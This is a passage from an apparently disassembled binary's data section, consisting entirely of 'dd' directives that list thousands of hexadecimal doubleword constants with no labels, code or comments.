		dd 6ADF7CC2h, 3DF46664h, 0AB807CCFh, 9D4628FCh,	0A5B003D5h
		dd 0B51284FEh, 787030C5h, 90D4BDh, 0FF10C19h, 8EA6234Dh
		dd 0CC11212Ah, 0CC85DE16h, 0E979F031h, 2E8C8608h, 40206690h
		dd 479B11F6h, 0AC4A6A15h, 45603AA8h, 50105C2Fh,	0A678BCBh
		dd 6249D8DCh, 463442ECh, 23744340h, 0B4641372h,	5D01E958h
		dd 0E83EDBE0h, 720D73D7h, 1C54033Ch, 0E48F7483h, 2900CCF3h
		dd 50B53FDFh, 824F9127h, 12705060h, 0EF1F02FDh,	0D76D0931h
		dd 0E093FC74h, 882C2C78h, 6501C61Bh, 277B0793h,	92C89C15h
		dd 0F7A135C7h, 0B6DC3030h, 570053ABh, 8D59D80Ch, 24CF4DE2h
		dd 280F139h, 0A569B051h
		dd 3B6520DCh, 8DDB8020h, 50123AAAh, 22D9BA93h, 7B20992Ch
		dd 0CC6BE4h, 0DA8036B0h, 0BC0B2677h, 0C09A052Dh, 922F7E06h
		dd 1E5922FCh, 8A4A4E0Bh, 0F9CECF7h, 9242B96Bh, 13C0FE4Fh
		dd 38CE3FC0h, 1C3ECD00h, 8361BC33h, 3B932531h, 5CBFD8A0h
		dd 6F1AF78Eh, 6258E82Dh, 707B64h, 0F5ABAF81h, 45FA37C6h
		dd 0E1006376h, 6C6776ACh, 1371E9FAh, 0DE5C6Fh, 0C2A6E482h
		dd 0C008347h, 3C32CB4Eh, 169CDF3h, 379474F5h, 624742C7h
		dd 24A0F40h, 24C51CDBh,	68CCCB07h, 6B0400ABh, 53AF7C67h
		dd 0C80120E8h, 468E0123h, 436D5B9h, 97C4CA00h, 0BEAE5B9Dh
		dd 0DA1ADD09h, 14A4A027h, 2D87E1B4h, 14C43879h,	22C79E07h
		dd 0EE406202h, 5496754h, 35C09566h, 61D4C0CAh, 189F6BBAh
		dd 0A81468h, 0B77B8207h, 23081B8Dh, 2252412Eh, 45607000h
		dd 48127944h, 0DC90A407h, 5B6E11h, 967B20DDh, 0E18F16h
		dd 8257D331h, 4ECEFAB6h, 5B7FEC00h, 1D0A0CDFh, 2472481Ah
		dd 0B33CBDC4h, 14E00018h, 0E4CB634Dh, 0C13B7FAh, 0FD219DA8h
		dd 787B3A00h, 0D4657620h, 0E4EF00F2h, 1825F317h, 0EC903937h
		dd 0FB8CF400h, 0EB5B7678h, 0DDE80023h, 3483244Ah, 1097BABCh
		dd 1F4B2784h, 807A441Dh, 7923D1F1h, 220502ACh, 15612BC9h
		dd 0FE17BCBDh, 0CDCC23D9h, 396930B7h, 0E50046DAh, 595B0963h
		dd 16C22A85h, 417C0F3Ch, 93527560h, 30D845EEh, 0ADCE3000h
		dd 513AE500h, 0E9FB6E8Ah, 4D9E2467h, 0E8C000E3h, 1CD0C650h
		dd 0A2B011Eh, 0F65DD600h, 742D6CB3h, 332A0723h,	8070E3C0h
		dd 4C27CDFFh, 80C7963Dh, 0D65E46F0h, 72CEE095h,	0F4BE008Eh
		dd 753C6EE6h, 5C009C06h, 0EFD026FAh, 144CD335h,	8654AE93h
		dd 55D13103h, 18023AB2h, 0AD71A25Ch, 0F888F9Dh,	0B8D980A4h
		dd 738B89DFh, 0DF98E9h,	4D4328F5h, 6ED74079h, 0C7A91E00h
		dd 0B95C2CD0h, 8B99C6D2h, 55F80852h, 48037F76h,	56D7F708h
		dd 8119034Dh, 4FEE7A5Fh, 0FD7D67C1h, 0F823D092h, 20914360h
		dd 0C86988B5h, 0E8026F0h, 2AE7AF46h, 599E0027h,	21DC2DC8h
		dd 9A00C0D9h, 5640DA55h, 0DE1D57D7h, 514F9B99h,	0CA2EC0B0h
		dd 96002273h, 83B592D4h, 508D94A9h, 3121895h, 47D0361h
		dd 91B8E864h, 9300300Ch, 6E9D363Dh, 60CAA2DEh, 518C90D6h
		dd 850ED504h, 4026ED01h, 5F621092h, 0C89F419h, 5D55D650h
		dd 3C009781h, 9398BAF9h, 6FA295h, 1F8B19Eh, 464C0ABBh
		dd 0D87B28C3h, 0CE6118D7h, 54D4F92Fh, 0DA058400h, 2A30A8CAh
		dd 3A2E1871h, 6BC820D7h, 643EACA4h, 0F4201421h,	0B5F6003Ch
		dd 299C6FF2h, 45CC00A5h, 0D96B7D46h, 5305B12Dh,	0CF235A40h
		dd 0DCC2BC60h, 6CBA04CCh, 0C00F0B79h, 46A62836h, 0AB3180F1h
		dd 63AF5C70h, 955515F7h, 560EA021h, 0F160A438h,	13358C0Ch
		dd 1402EB00h, 0B61016CCh, 605902BEh, 0B2C3F757h, 0D8E62448h
		dd 67AD9006h, 0C97795h,	0C8510D3Fh, 0B85AC0Fh, 0FF533903h
		dd 0F34C7957h, 7F828D1h, 6C144998h, 2EE30278h, 0E81683CFh
		dd 0A4264042h, 6A01A8F6h, 2ECDB325h, 0AC48CC0Ah, 0C8E01CA9h
		dd 39AF0013h, 69484B55h, 4EEC44B8h, 0C04688A8h,	0B11EF801h
		dd 50F6BE3Eh, 33805C44h, 0E8C8A92Bh, 8180A8C4h,	22470305h
		dd 7DBE5D4Eh, 0DF706903h, 40D0C5A2h, 64ED10h, 1457CA04h
		dd 0F7AD63EDh, 16F19C01h, 7287CD6Ch, 7B2001CCh,	552D03FAh
		dd 3E59EB57h, 99DED0CBh, 14CBA324h, 0CD735E80h,	0EC46062h
		dd 0A1ED3414h, 4FB42EC0h, 0F302A7DDh, 0FF04B26Ch, 9582C121h
		dd 20CE9851h, 17ADA180h, 0ACCFB994h, 0D5F20607h, 521D40Ah
		dd 0A8FC7AEAh, 0CA801893h, 56D831DDh, 90F00768h, 7422BF0Ah
		dd 0A145540Ch, 0B2C78E4h, 7CAE4A30h, 23C3070Fh,	210740FAh
		dd 0CD7D5AF6h, 0EDE88F00h, 2B5506F2h, 0A13B5934h, 18A2C826h
		dd 8443AF62h, 4E4E265Ch, 6F9E0620h, 9F000345h, 0BF376C31h
		dd 18DC6519h, 4178A3D7h, 3C44167Bh, 0F07545C8h,	0B1505C2Dh
		dd 9009DC6Ch, 80CFB709h, 0FEFDB5BCh, 9CB8992Ah,	0C20C0019h
		dd 909FCC03h, 5800BBFEh, 4683C430h, 3BA110Dh, 68E155F6h
		dd 2DE1D6DAh, 797ACBA2h, 79A0294Ah, 49503A98h, 397095A8h
		dd 0F9802B46h, 0DB3C5BFBh, 6C91CE1Ch, 832EC49Eh, 5D536020h
		dd 0A8DD008Ch, 3C4E01F6h, 83F802DFh, 44CC2032h,	0B85DB4A2h
		dd 0F62F708Eh, 20DC1193h, 54BC9F02h, 8C115B0h, 855C2050h
		dd 918B4F40h, 982B00ECh, 0BD9CEF43h, 0C63D2700h, 0FAFF4919h
		dd 5BB51EA7h, 0AAAD8AD2h, 2CB208A8h, 0F1DC7081h, 0B84CAFD7h
		dd 5275F002h, 0CC28CC53h, 17EF1974h, 4C54E051h,	428629DCh
		dd 442C2057h, 1C608B26h, 0C93031A9h, 0D4D50037h, 2A044F5Fh
		dd 263AF1E1h, 88B8522Dh, 4298A0A1h, 0E8B6115Dh,	0AAF82109h
		dd 0C8817429h, 0BA5B5663h, 82858029h, 33E566C0h, 0DA8C0701h
		dd 0E63FC20h, 348437E9h, 0C0364F27h, 126AC317h,	3EE400D2h
		dd 0ECC8D753h, 5F021F82h, 0A8C020E9h, 28E4901Eh, 41DE2C67h
		dd 504A84B4h, 2B7B0594h, 0AC678820h, 589B585Ah,	0AECF713h
		dd 458CECCh, 82F3B20Bh,	50203640h, 1CAB69Fh, 40A79AE7h
		dd 60B53429h, 0AB88DAB0h, 0D90700B8h, 6D59C371h, 77034930h
		dd 6560CB34h, 0E1F4D89Fh, 0C2230255h, 7A8A3598h, 7E18A8A0h
		dd 0B3009AF3h, 232B8DE5h, 51DACFCh, 0DD7093B7h,	9110C2CCh
		dd 0E0F62E2Fh, 3A0A8BB6h, 9476490Bh, 62863880h,	700FFB3h
		dd 0D75BDE77h, 24D609C5h, 64E8526Bh, 81674B3Ah,	0FAB0742Fh
		dd 88B6F034h, 31C0798Bh, 932B7EA3h, 537F0033h, 71AC3BC9h
		dd 723B1865h, 2C2C50D7h, 661FB8BAh, 54937BF4h, 0C08C5822h
		dd 0F842B89h, 0F30983A4h, 88557F04h, 851F49B4h,	0C46610D1h
		dd 68EFAD00h, 3C9ACAAh,	0DA626984h, 88957255h, 0CA1F05B4h
		dd 8840D5A5h, 8723B7FDh, 0A120086h, 0C3F8DE7Ah,	0D0B221BDh
		dd 94AD1A01h, 0C07B0E3Fh, 700B0C33h, 2C0CDBF7h,	0AC919529h
		dd 0B84DA000h, 2A558806h, 88D4D2h, 17B073EDh, 0C365A45Ch
		dd 0CC98137Dh, 58C49F05h, 0D02051B8h, 0EB2A32h,	8F2B4357h
		dd 4D8C7352h, 782C7D04h, 0CC88A56h, 0DD070084h,	185FF0C1h
		dd 297A5B67h, 0A000537Ch, 52D50A1Dh, 0A64B22h, 7AA2FA96h
		dd 0C59F55F3h, 0A9BF5800h, 0B5048CFFh, 7E41E7Eh, 74D706A6h
		dd 60119A1h, 0A4CA0B1Eh, 2180E3F6h, 0D40D7E8Bh,	6601FAEEh
		dd 0B65679C6h, 0D710E553h, 2CA07D90h, 0E9897Ch,	80A53581h
		dd 0EB0C2764h, 297EEF34h, 3E9F00E0h, 0C79290D4h, 5D000977h
		dd 280865A0h, 401FF517h, 0D40CA63Bh, 38A3F866h,	41B660FBh
		dd 2BB7CC01h, 8BF05C00h, 14D3A032h, 0B40550F7h,	0FFB8079Eh
		dd 0AA0609DFh, 0EAFD0074h, 8996DBF1h, 63D54918h, 0C3E8C19h
		dd 0DF7DF608h, 0F4002968h, 0CD0D96EEh, 325C921h, 2C1E0713h
		dd 38D12869h, 6F95E8C3h, 78B9B80Bh, 0D8100629h,	64F00B1h
		dd 810A054Bh, 1B77E494h, 616CF458h, 6729CA21h, 0E82EE6F4h
		dd 0E2F73072h, 4383D289h, 40D18B00h, 0B8C97E10h, 99E60A3Dh
		dd 205F72h, 70EE0A09h, 0AAECD9B1h, 13202F18h, 0B837D7C9h
		dd 7C5B058Fh, 20FA2CFDh, 6A1580ECh, 6C6E6600h, 594674D3h
		dd 83F0C41h, 0D7418CA6h, 31A88630h, 0C0DFF9AFh,	0A9511D99h
		dd 0A5004EC3h, 0D994C052h, 0C0DBF9D7h, 156AD21h, 0D6007D04h
		dd 0B85ED027h, 0F4F6CAh, 8B860947h, 0D5813929h,	22EB4CA3h
		dd 0F0A08D82h, 0CD25C2C7h
		dd 0BFFEFA00h, 219A2970h, 0F10039Bh, 0C64D4A4h,	0B679E175h
		dd 8681B00h, 0DFD6291Eh, 57EAE8CDh, 0C0109060h,	0A70600B0h
		dd 0D6A0403Ch, 0BD930002h, 0AF732548h, 5AFE61BCh, 39E2FD02h
		dd 46E17AB6h, 0E688AC68h, 0C4DB032Bh, 7EB667B0h, 50FF6930h
		dd 78A011AEh, 0B98D0073h, 88FD7D22h, 0C418248Fh, 5AC00E13h
		dd 0FBA340F7h, 3459B760h, 0A0300A75h, 1F5A2DD8h, 480976Ch
		dd 0C79E1EF7h, 148515B0h, 66006B1Ch, 90174BF0h,	0AF02E86Bh
		dd 0FE9721FDh, 2C33C0D2h, 4A18129Dh, 0EF540609h, 1B0069BAh
		dd 4131938Dh, 361E3CFh,	6FBE389Bh, 0B6901D09h, 290CC5A8h
		dd 0D9D66035h, 3B190775h, 3F032A4Fh, 0F5816E83h, 4C5E8900h
		dd 8DC38A79h, 0ABF700DDh, 6212887Fh, 78000C07h,	8C765EBDh
		dd 0FAFFA784h, 5CAE87Ah, 56D10591h, 1F8800FEh, 7AD9CD7h
		dd 0A789D811h, 871E0505h, 892C84B4h, 1D6302Ch, 0CE80A003h
		dd 0A0056659h, 0DC81C3h, 21FF19Ch, 2E4434A1h, 2B603F18h
		dd 0E470C1h, 14635427h,	0CB8DE0Dh, 4845FA00h, 46886A31h
		dd 0B5130A3Fh, 42F86F59h, 5F23B789h, 6D4905D3h,	0C075DF1Fh
		dd 0E8137D42h, 97BC598h, 8501B5E4h, 86F17EBh, 26CD01E7h
		dd 0A00D5024h, 9ED1ACh,	958735A4h, 0B4FA2DADh, 96F161C0h
		dd 0FA4CB786h, 0CBF200AAh, 0DCEA762Bh, 9A01F9FBh, 6C23EC7Dh
		dd 9420FF19h, 0CD188CFDh, 0BAA1305Dh, 4E3F00F5h, 0B24B9D21h
		dd 4D778FAEh, 98B86200h, 72585B4Ah, 8904CA6h, 0F08D92C0h
		dd 401909F1h, 0EE20D68Eh, 1376888h, 667C5980h, 32DC03Ah
		dd 0DBBBB072h, 0C10FA38Eh, 82291F06h, 0AA6C56B6h, 0B51138A0h
		dd 6792C600h, 63845573h, 2F45CD00h, 0A9327A3Bh,	14247347h
		dd 0FC74D806h, 2C6A0780h, 2E606067h, 0D6DD84D9h, 1C7000BBh
		dd 0FAA7DC7Ch, 0A3040F6Fh, 21C17D16h, 0A6892083h, 0A5DD0038h
		dd 6E05BBE1h, 149A0E84h, 2835Ch, 9140EC22h, 0A795D1h, 50ADABBh
		dd 5B902A07h, 0C4D71E00h, 8ED11CDFh, 841F5059h,	89D56AFEh
		dd 549A1454h, 2153B516h, 32EF296Ch, 3ED44894h, 0D2330C86h
		dd 3AA690E2h, 580097BDh, 1D0772AFh, 0F80382D6h,	98A2021Eh
		dd 0F091A3C2h, 1F902921h, 7081D714h, 6849EB9h, 0E5605C03h
		dd 87858h, 99C5042Eh, 5F395610h, 0BCDA7028h, 936CF658h
		dd 0BE7A9703h, 6A71F88Ch, 8B181h, 24BB8016h, 0E009E27h
		dd 0DAA4E758h, 493104B8h, 0CA0CC829h, 0CC310986h, 85E1E002h
		dd 82026A5Ch, 0C1D313B2h, 500E70Ch, 8E5480B6h, 0EC2A9184h
		dd 0B51A98B7h, 8091D854h, 42B18534h, 5C2E4818h,	0CF0C024h
		dd 0C8690F81h, 677BA9EAh, 0BDFC6909h, 0B16C18DAh, 1BDE0031h
		dd 0D809C37h, 5DF80501h, 96E1F724h, 0C5E3BC07h,	9C31FFD5h
		dd 0EAC88671h, 642A00BBh, 201003E5h, 3802DFBAh,	0B0F4B670h
		dd 3318A06Dh, 1661218h,	4B97153Fh, 0F0DAAF35h, 2300AE46h
		dd 0F33AF8D6h, 4CEA3829h, 2C0031B2h, 0E3882A08h, 22E9DCE2h
		dd 5C5F24E8h, 0D9115640h, 0E764002Ch, 88B18033h, 0AEECB0E5h
		dd 6CEE7B02h, 64603D94h, 0CA260130h, 5EEBA09Fh,	388DDC10h
		dd 0F65872E2h, 83F181BCh, 70C54278h, 0ADC80072h, 927BB50Bh
		dd 0A5608F20h, 54812D83h, 1989737Dh, 0E020FB84h, 3257BB06h
		dd 0C63EF700h, 226AE914h, 9C4A00D3h, 0BBA64B7Ah, 6401F074h
		dd 9F3F8528h, 5422D7EAh, 0C13A6066h, 580E40ACh,	20BCC2BDh
		dd 5EA863F3h, 6CD50047h, 6237E329h, 0B76D6DCh, 35342F4Ch
		dd 0B80041FDh, 2A090D72h, 40EC4DEFh, 0E078D84Ch, 7B397D4Ch
		dd 5CAD71E9h, 0D04CD061h, 67E35A80h, 281DDF16h,	0C7C13E9Ah
		dd 12467BB3h, 448DE834h, 5306AAA8h, 0FC23F591h,	4428B079h
		dd 5D58E012h, 622F801Ch, 0E2E4B1h, 0B7C5F651h, 4FDF9A10h
		dd 0A60758FAh, 74F8B885h, 0C440DAE4h, 6873771Eh, 0FB78D000h
		dd 483339DDh, 0A4F477F3h, 8E774D8h, 0E5516982h,	43765208h
		dd 0A900B3EFh, 1189AE13h, 733523h, 8EE64AF9h, 0C698FC0Ch
		dd 6713D09h, 7E30802Ah,	0F3BA691Ah, 7D1ECC63h, 403A9DE6h
		dd 0C76C20ABh, 0B401854Ch, 5EC68643h, 0B441F375h, 8448603Eh
		dd 0CB0E05F4h, 833CFF91h, 56E4D734h, 0B8219B16h, 0C0FA2808h
		dd 0EF167B98h, 25A2B980h, 728B4DA5h, 7C292A30h,	48494C5h
		dd 9A91CE5Eh, 0C4A0C045h, 0E5C2FF3h, 0EA6680E0h, 9728296h
		dd 647CA027h, 55281874h, 8020F64Ch, 0DB131483h,	7CA7777h
		dd 682F2135h, 5F734058h, 28D080F5h, 4F8FC0C4h, 0B44CECh
		dd 0CFAE729Eh, 0FE801BF1h, 0B0FA52h, 66F8165Ch,	0AB469Ch
		dd 42C51898h, 0C1D2B05Dh, 0E44CFA7Ch, 904370h, 0D83A6466h
		dd 0B9A4EF2h, 8FDCE32Ch, 0E5091496h, 0B5D1DFh, 0CC46B865h
		dd 5F3417A0h, 0A67C00ABh, 3D628E2h, 127CA3Ah, 64883A37h
		dd 41862F5Fh, 10B814E3h, 0E0000190h, 358084A5h,	0E1310Bh
		dd 7D6D8525h, 0FA2A1D05h, 0FB9A096h, 64020C9Bh,	0A0C22910h
		dd 802825FDh, 0CBCD9572h, 11641359h, 0BC407D91h, 0DE78DFh
		dd 0BE9302FCh, 74737B26h, 0F358CA06h, 49315Dh, 0D5C9ED3h
		dd 0E9C838BDh, 783F0200h, 0C7B5D8B4h, 9547054Fh, 8CE6E389h
		dd 9002D420h, 612D70F7h, 8518636Ch, 1C602CC9h, 1EB1159Ch
		dd 15006432h, 58E8146Fh, 70909A0Ch, 0A20423EAh,	1AF4B734h
		dd 21D90C82h, 0D03871DBh, 0EE0046C5h, 0AE974FD3h, 15DC1ACDh
		dd 2C9BFC0Bh, 2E435303h, 1FD01C4Dh, 0C891AF47h,	85862482h
		dd 0F090094Bh, 120353AEh, 5AD40610h, 91D10B05h,	0D80521F8h
		dd 0E5444045h, 2A350577h, 17EF6300h, 5E6E8539h,	0DB673C22h
		dd 0FF9D5786h, 604604Eh, 0DEB9631Dh, 0D449DC80h, 964F021h
		dd 0C0D8E37Fh, 599E5C86h, 8C1D947Eh, 0A5920D2Fh, 0D902E8D0h
		dd 4FD3AEAh, 58B8FA11h,	7E38000Fh, 0AB992F1h, 6D9C00A4h
		dd 9868DF10h, 0BC131FBDh, 9897FA70h, 126BCAA0h,	6CD40162h
		dd 717F551Ch, 2C40E425h, 919B3Dh, 0A4C2ED09h, 0B2DAFA2Dh
		dd 0FD0758F8h, 91F1A03Fh, 0D08112F4h, 0C994B14Ch, 0BB5A4A0Fh
		dd 0EE6B81F0h, 0BD4A12Eh, 87DA019Ah, 8BDCF6AAh,	406428DFh
		dd 5020D688h, 5F305CAh,	4FB937Fh, 3082F84h, 0F6AA8488h
		dd 0B53B4438h, 2C46D096h, 0CC975188h, 0FA0C21CCh, 202F0A82h
		dd 809CA2FAh, 0F4C0E828h, 8E4CC11Fh, 451B886Ch,	93C8C007h
		dd 8E269FF5h, 0B23BAC73h, 20D6496Dh, 7C9C28DCh,	9091B1B8h
		dd 60056288h, 0B3E1091Dh, 8BD77F0Ch, 58AEB193h,	982860E2h
		dd 0D93A0C34h, 0A621FEF4h, 0EA540C90h, 0B6185480h, 9159AF7Bh
		dd 4CB4A366h, 0AE806472h, 8DFAB7Eh, 940022E8h, 0F44CF723h
		dd 0A02D88E6h, 10DBA6B4h, 901CE8Bh, 115A2FAFh, 6E3FB24h
		dd 1C747749h, 2702AEB1h, 21968349h, 1733407Ah, 0B7C30344h
		dd 0FA6587B2h, 9C16D024h, 9181B58Bh, 285088FCh,	3E6773AAh
		dd 0BF0E7930h, 1E2E78A5h, 7FE41420h, 0CF208409h, 3E324065h
		dd 0E5592984h, 13E685E8h, 889C8749h, 220C1E80h,	4920D4DEh
		dd 4C58D434h, 7E709D01h, 362923B1h, 1F0600F0h, 0D21BC82Bh
		dd 0F403007Eh, 0ADA53F3h, 211C057Ch, 0A4490F85h, 4441Fh
		dd 27C279A3h, 78B7F986h, 0EF76EB03h, 0B67D9BCh,	54B66FCAh
		dd 0E400B092h, 73108498h, 0A9D46030h, 0F22D63Eh, 1248B4C5h
		dd 3BF85B40h, 7F49861Eh, 0C8304B98h, 4DE6D19h, 11BDD872h
		dd 0D75EC046h, 607F29Ch, 21F99103h, 0A7F8583h, 8B54B531h
		dd 98ACBCh
		dd 64949C27h, 2E24E339h, 0E097469h, 0F6A006F0h,	44B482A9h
		dd 7F060184h, 0F53ACA1Ah, 9191962Eh, 5F96D44Fh,	0FF4C102Dh
		dd 81AA1292h, 519C09C9h, 0A1F88464h, 1067688h, 21AEC4D8h
		dd 107CFA2Ch, 6D57FCh, 11326EB7h, 0F8594A34h, 0E6748304h
		dd 38B20592h, 0D3C1E458h, 0D52A2EACh, 29B0F70Ah, 48A025F4h
		dd 0D6B066E3h, 0D8632F2Eh, 0BD40561h, 94810868h, 60882EE2h
		dd 0F5128ED0h, 0F8532D24h, 6800BC8Eh, 4F9B6644h, 700A96Fh
		dd 90E21D0Bh, 48E6D5E9h, 6304100Ch, 0B254B3DCh,	43724F8h
		dd 8C7C1325h, 12022898h, 0C8C896C5h, 11009E70h,	0A4B7EBCBh
		dd 2E7303AAh, 38B42370h, 31CC4458h, 8D40A5F0h, 0D02F501Fh
		dd 0EF2B18BEh, 6A05B1B2h, 6CA83401h, 0FA692539h, 6D90BD1h
		dd 0F5FCFE8h, 0BE662BDCh, 9D631E00h, 7CB63364h,	0DE8F7E0Fh
		dd 0C4547B80h, 4C38CB1h, 816F0725h, 0CAA44009h,	5C45ABBCh
		dd 852C006Ch, 8487498Ch, 6680180Ch, 69E3A3E6h, 0A0DF2AF0h
		dd 0FB392268h, 3D321F00h, 74D80708h, 0AEE9C272h, 0EC6803F9h
		dd 6124CD91h, 0D74268E7h, 0C48C4474h, 44080970h, 5881BB84h
		dd 21923CFAh, 8ED4905Fh, 0C4003A20h, 0D5230346h, 1FB65C56h
		dd 82FE064Dh, 2EDD3D8Ah, 9600CC59h, 0A7030DCh, 0D7880035h
		dd 5108617Bh, 2C02BEF2h, 0DFA1978Dh, 8234B0A5h,	7DBB0021h
		dd 38C608CCh, 4F0075C2h, 29B34694h, 4691CACh, 64A93A3Bh
		dd 90B0F062h, 257E8D00h, 6C58086Bh, 59B96FFAh, 109DE20h
		dd 8B00BA21h, 36256F85h, 48D83F3Eh, 0A922B8B3h,	8FDCE708h
		dd 23AF80A8h, 8024F4AAh, 29218965h, 0C004CCh, 0EA38A7C5h
		dd 0BFA83DD7h, 0A00839h, 408F0106h, 4F8A507h, 8429C2BEh
		dd 7E8890F4h, 70014DC6h, 0F31589E9h, 0F740439Eh, 31A5B9D3h
		dd 2AC07236h, 2C403113h, 0BEE6C230h, 0E7B8402Dh, 448CB089h
		dd 0E560F6E0h, 9A266029h, 0C93C1C20h, 1D57C00Eh, 3F8B33A7h
		dd 0E3F9AF11h, 0B247660Eh, 0B9302800h, 247B35C8h, 0FBA10413h
		dd 902A2C20h, 640B38F7h, 38C85A00h, 2107114Bh, 0E30B70B8h
		dd 287165Dh, 44652F9Ch,	28F525C0h, 0E6183C18h, 0F30028B0h
		dd 0DACF2F5Eh, 59D3F605h, 0B84D680Bh, 0B7226848h, 0A8F74F0Eh
		dd 294C8072h, 2E6D008h,	0C7B8AA35h, 908151FCh, 7093140Ah
		dd 0C098F11Ch, 67813E44h, 0A5128910h, 7DE8002Fh, 51FAF5Fh
		dd 0CBA0D71h, 0FA57CA04h, 0ECC1F8A9h, 420F9E8h,	86F98B67h
		dd 7CB11542h, 4C08FCAh,	0F7C2C92Eh, 0F1348086h,	2D75B843h
		dd 0E090712Bh, 41D24D1Fh, 8E90B8D1h, 3D5F470h, 922E4977h
		dd 91D9C3BEh, 0CC7C304Fh, 7455B314h, 30404B64h,	6CA2AC20h
		dd 4F0600BDh, 77EBD325h, 3701B183h, 28916A16h, 93FCC980h
		dd 0ACD752F9h, 0CA0FB2Dh, 1C4A84B8h, 0A685B1Dh,	81A6DB80h
		dd 1F34B5CAh, 8F9E1553h, 0D70F0D1Fh, 0C5D91A8Ch, 0AF68AC00h
		dd 0CF2C2B50h, 0D439506Eh, 6910192h, 0D4B97772h, 158395Fh
		dd 829E2866h, 1C710887h, 110089A6h, 5DDA00B4h, 95C3E68Fh
		dd 173800E2h, 13798B37h, 0FD007311h, 92EC3C16h,	30DBA027h
		dd 0E9397BFAh, 467FCC0Ah, 876AB01Fh, 0C2907E54h, 0E3772CA6h
		dd 8E94F877h, 0EB440F14h, 0C3A0B64Eh, 576612E2h, 64A2C74h
		dd 80892516h, 0C378A0E2h, 387890Bh, 0C92AA897h,	8CFDB694h
		dd 0B07E7244h, 4056A34Ah, 0DC7D1005h, 0DD823h, 3D306D19h
		dd 4C54F1FAh, 0C1800505h, 848C2453h, 0F52A0013h, 0CBD92692h
		dd 38F23448h, 0FCE78802h, 501CFB7Dh, 40549654h,	591E77ECh
		dd 13D681Ch, 97C5BCC0h,	244E540h, 4A7EDEB8h, 0BC863777h
		dd 0F519E18Ah, 0F6412C22h, 0E918402Ah, 7D70DAB8h, 41FCAA26h
		dd 37905900h, 90FD2A0h,	5DEEC567h, 0DD98E090h, 1CFC5A02h
		dd 60D9DF49h, 616B5C3h,	172F2781h, 0B618787Fh, 0D7615F7Ah
		dd 0E9B16F93h, 0C4E8D056h, 873E0A9Ah, 5C1A0726h, 6F6253C6h
		dd 25ECE070h, 485962E4h, 9121447Bh, 6120CFBh, 3C000071h
		dd 804D562Ah, 51320072h, 0F3915A0Fh, 0E92F40D8h, 0BCA80A8Bh
		dd 0A8D02964h, 22076824h, 0CD00DDF7h, 4BC2C4C8h, 0C9C6E3h
		dd 967B8A59h, 3847991Fh, 0D90B867Eh, 0C2693112h, 0EB0041C8h
		dd 9A0CFAD0h, 1A89370h,	7E661E59h, 7A3E60A0h, 0FC9B2902h
		dd 0C256DF81h, 8F387950h, 4C478F58h, 0F8369075h, 0F20E9356h
		dd 60319B80h, 495BF992h, 47C0EDCh, 0AAC284D5h, 0B4F9722Ah
		dd 716CEF01h, 43D074C7h, 639A033Eh, 245A065Eh, 0E9225598h
		dd 80778D2Fh, 271F2F8h,	3920091h, 7F07392Ah, 0D4E886AFh
		dd 0F8406545h, 29ECA71h, 871E0858h, 9CD01682h, 0AF40B89Ch
		dd 2D9BA9Dh, 719CA2BEh,	20C05CDFh, 8B27DBBFh, 7D182454h
		dd 0F51458B2h, 0F6245CFBh, 0FD804098h, 0D70086E1h, 3C78E5B9h
		dd 89F541h, 53850A50h, 9139E421h, 40A0E252h, 0C0A1F0C4h
		dd 93A4500Dh, 0F5E2916Ch, 0ABE01E6Fh, 99B09871h, 3DD070E5h
		dd 2A0F87A5h, 5B82AF36h, 18F8181Dh, 47422494h, 41126037h
		dd 4C050080h, 0BE9EC08Fh, 9200CAB8h, 9566EB60h,	0B351E61h
		dd 0DB9657EAh, 0E7587466h, 0D9FB1A10h, 0B8E84051h, 207A4CB3h
		dd 7B9441C0h, 0A509E00Ah, 68860DD4h, 57EDDACh, 0D5565422h
		dd 0F5600457h, 6C8B236h, 2A605ABCh, 0BD9F0011h,	79C20A19h
		dd 0C60023A2h, 5E4EC357h, 0EAABA99h, 4B55F290h,	0EF6694C0h
		dd 0E01E0D2Fh, 0F500B8DEh, 64893CD1h, 0BA5CB45Fh, 73CD2400h
		dd 49D809DAh, 2F462B07h, 0C3831D0Ch, 0B02A8189h, 7C9C4050h
		dd 2217036Eh, 26D31C1h,	4CE096E2h, 0D0015316h, 0FAAD2E34h
		dd 9032E0F9h, 5014A80h,	64027B65h, 4898DED7h, 0A28C8480h
		dd 1CA88F08h, 0DE222D42h, 3CDF3139h, 3E30090h, 0CAEE2F39h
		dd 0F57EC40h, 0DF75617Fh, 0DAD7A7C0h, 0C32D1CACh, 84C020FAh
		dd 0E8A49755h, 8108058Fh, 80D41D41h, 6929E3FCh,	0A7E4E60Eh
		dd 54B28167h, 0A8316347h, 0EA738C74h, 0F4C30A1Dh, 44F4C823h
		dd 390BD84h, 707D5A61h,	0E6B5A8CDh, 8A3D0033h, 0DCCADA51h
		dd 20009F4Ah, 0B6722C81h, 9112A28Dh, 3DA783ACh,	9D809C0Eh
		dd 1D019656h, 0CDD7DA1Ah, 302E2586h, 927317C0h,	94D25A4Bh
		dd 0A87285h, 0B330C772h, 111A2757h, 4CAF1C03h, 0D82A9A48h
		dd 9807197Dh, 0BCD77484h, 1EA70010h, 218E9A94h,	84A2926h
		dd 0DC875710h, 0DF2D1305h, 9AD804A0h, 884C4E58h, 0BA238030h
		dd 63CDC168h, 8E45F73Bh, 0C078C514h, 35CEB03Ah,	91DA015Ch
		dd 0B507E4C0h, 1408AF54h, 816D2514h, 4C719020h,	0D0001C0Eh
		dd 4ADFD405h, 440638h, 5795CA5Eh, 6A80B3F3h, 5C8F24A1h
		dd 0F500EF4Ch, 0E682DFDEh, 0C44DA5h, 6B562C9Dh,	0B7F2E95Bh
		dd 7674015h, 0F49CD7F0h, 8960481Ch, 20F9AE16h, 0C542A740h
		dd 8516EA00h, 6836C37Ch, 59E604D5h, 0C52F8938h,	0E06C1948h
		dd 5C5F127Ch, 0AD580F0h, 8209D3D0h, 5909D9E0h, 8015C70Bh
		dd 0F605EA48h, 7E69C1E6h, 0F465EB83h, 0CBEC640Ch, 0F9BDDF12h
		dd 0B50008D4h, 0C547E42Ch, 99D8F1A4h, 91C0E97h,	2E4020E6h
		dd 0E557B636h, 119D94A6h, 63085914h, 7F08F300h,	6DE95E79h
		dd 71560205h, 0B0CC0B1Eh, 7C130261h, 812A88D8h,	674D191Bh
		dd 1F64F838h, 0C113E700h, 56AA4650h, 0D5E61C79h, 2C8E3E86h
		dd 57208F92h, 0EA94817h, 7362A604h, 1CE9DF29h, 0DA5B84C2h
		dd 0EAEC6309h, 0A660C031h, 0BB30C321h, 0B950943Dh, 0B8996088h
		dd 0E532A800h, 143481B5h
